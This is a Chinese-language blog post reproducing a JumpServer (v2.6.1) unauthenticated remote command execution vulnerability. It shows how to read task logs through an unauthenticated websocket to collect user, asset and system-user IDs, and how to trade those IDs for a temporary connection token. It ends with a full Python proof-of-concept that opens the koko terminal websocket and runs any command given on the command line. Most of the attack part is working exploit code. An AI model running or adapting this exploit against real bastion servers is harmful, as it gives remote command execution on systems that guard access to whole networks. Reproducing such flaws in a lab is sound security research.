JumpServer远程执行漏洞 复现
首先。安装
安装脚本V2.6.1 https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip
github 安装脚本全部是安装最新版的。
安装的时候注意几个坑。
这里全部选择no
然后安装完成之后启动它 到安装目录:/opt/jumpserver-installer-v2.6.1/
访问jumpServer
跟踪一下漏洞代码【未授权】socketweb
https://githistory.xyz/jumpserver/jumpserver/blob/db6f7f66b2e5e557081cb561029f64af0a1f80c4/apps/ops/ws.py
新版就加了一个判断。那么就直接连接上这个websocket 进行日志读取
插件下载
ws://192.168.1.73:8080/ws/ops/tasks/log/ {"task":"/opt/jumpserver/logs/jumpserver"}
搜索存在一些task id
查看task id 的一些信息
这个信息是不可能泄露账号密码的。别被误导了。
获取system_user user asset 正确的操作方式
通过日志中的。api/v1/perms/asset-permissions/user/validate 信息。获取到临时的token 20S
import requests import json data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"} url_host='http://192.168.1.73:8080' def get_token(): url = url_host+'/api/v1/users/connection-token/?user-only=1' response = requests.post(url, json=data).json() print(response) return response['token'] get_token()
然后这个20s 的token 能做啥,具体的跟踪代码。
登陆后台
找到koko.js
后端代码如下:
https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go
尝试websocket 连接一下试试。
最后通过脚本执行
POC:
# -*- coding: utf-8 -*- # import requests # import json # data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"} # # url_host='http://192.168.1.73:8080' # # def get_token(): # url = url_host+'/api/v1/users/connection-token/?user-only=1' # url =url_host+'/api/v1/authentication/connection-token/?user-only=1' # response = requests.post(url, json=data).json() # print(response) # ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token']) # print(ret.text) # get_token() import asyncio import websockets import requests import json url = "/api/v1/authentication/connection-token/?user-only=None" # 向服务器端发送认证后的消息 async def send_msg(websocket,_text): if _text == "exit": print(f'you have enter "exit", goodbye') await websocket.close(reason="user exit") return False await websocket.send(_text) recv_text = await websocket.recv() print(f"{recv_text}") # 客户端主逻辑 async def main_logic(cmd): print("#######start ws") async with websockets.connect(target) as websocket: recv_text = await websocket.recv() print(f"{recv_text}") resws=json.loads(recv_text) id = resws['id'] print("get ws id:"+id) print("###############") print("init ws") print("###############") inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"}) await send_msg(websocket,inittext) for i in range(20): recv_text = await websocket.recv() print(f"{recv_text}") print("###############") print("exec cmd: ls") cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"}) print(cmdtext) await send_msg(websocket, cmdtext) for i in range(20): recv_text = await websocket.recv() print(f"{recv_text}") print('#######finish') if __name__ == '__main__': try: import sys host=sys.argv[1] cmd=sys.argv[2] if host[-1]=='/': host=host[:-1] print(host) data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825", "system_user": "79655e4e-1741-46af-a793-fff394540a52"} print("##################") print("get token url:%s" % (host + url,)) print("##################") res = requests.post(host + url, json=data) token = res.json()["token"] print("token:%s", (token,)) print("##################") target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token print("target ws:%s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic(cmd)) except: print("python jumpserver.py http://192.168.1.73 whoami")
注意: 需要改你从日志中获取的获取的system_user user_id 和assat的值
- Pingback: 红队中的一些重点系统漏洞整理
- Pingback: Jump Server 任意命令执行漏洞复现 – 潮易程序
- Pingback: JumpServer Remote Code Execution Vulnerability – Hazzel's blog